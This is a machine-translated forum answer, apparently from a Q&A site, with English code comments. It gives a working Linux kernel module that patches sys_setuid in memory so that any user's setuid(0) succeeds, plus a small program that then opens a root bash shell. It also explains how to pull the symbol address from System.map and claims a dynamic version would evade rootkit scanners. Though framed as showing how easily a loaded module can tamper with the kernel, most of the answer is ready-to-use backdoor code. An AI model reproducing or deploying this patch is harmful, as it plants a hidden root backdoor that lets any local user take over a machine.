Đã có câu trả lời cấp chung tốt. Cách xem xét vấn đề này ở cấp mã ví dụ, làm rõ hơn mức độ dễ bị tổn thương của Linux nếu mô-đun được cài đặt.
My dụ module:
#include <linux/version.h>
#include <linux/module.h>
#include <linux/highmem.h>
#include <asm/unistd.h>
char *p;
int init_module(void) //0x0ffffffff8107f760 depends on system must be taken from the map
{ pte_t *pte1;
unsigned int dummy_but_needed;
p=(char *)(0xffffffff8107f3a0 +0x4d); // Got from /boot System.map.xx.xx.xx
pte1 = lookup_address((unsigned long long)p, &dummy_but_needed);
pte1->pte |= _PAGE_RW; //Now the code page is writable
*(p) = (char)0xeb; //0xeb is the code of the unconditional jmp- we don't care are we allowed to get rights. Previous was conditional jmp "75".
return -1; // Insmod complains and module disappears from the system but module did it's work already
}
MODULE_LICENSE("GPL");//We don't need cleanup_module
Các chương trình thử nghiệm cho người sử dụng đặc quyền siêu trên thiết bị đầu cuối cấp độ người dùng:
int main()
{
setuid(0);//Or use asm("mov $0,%rdi; mov $105,%rax; syscall;");
system("/bin/bash"); //rax=system call nr and rdi=first parameter
}
Đây có phải là một rootkit nguy hiểm không? Không. Để tìm địa chỉ sys_setuid, bạn phải có quyền root! Và thực tế mọi hệ thống đều có địa chỉ này khác nhau.
Dù sao, điều này cho thấy thao tác dễ dàng như thế nào. Trong thực tế, rất dễ thay thế hằng số đã sử dụng bằng các phương thức động (thời gian chạy) - không được trình bày ở đây. (Đây sẽ là một rootkit.Tôi đã thử nó và không có chương trình săn rootkit hiện tại nào có khả năng tìm ra nó ngay cả khi nó tồn tại và đã thực hiện mọi cuộc gọi hệ thống.)
Tôi đã thử nghiệm điều này với Kernel 3.2 và AMD64. KHÔNG LÀM VIỆC TRÊN NHIỀU KHÁC!
(làm thế nào để tìm hằng số cần thiết:
xxxx:/boot$ sudo grep sys_setuid System.map-3.2.0-31-generic
[sudo] password for xxxx:
ffffffff8107f3a0 T sys_setuid
ffffffff810a23f0 T sys_setuid16
)
Bạn chỉ đang giả định người quản trị (vật lý & hợp pháp) của máy có đặc quyền root, mà là khá thường xuyên không phải là trường hợp. :) LKMs có thể làm công cụ gốc biết hoàn toàn không có gì về. –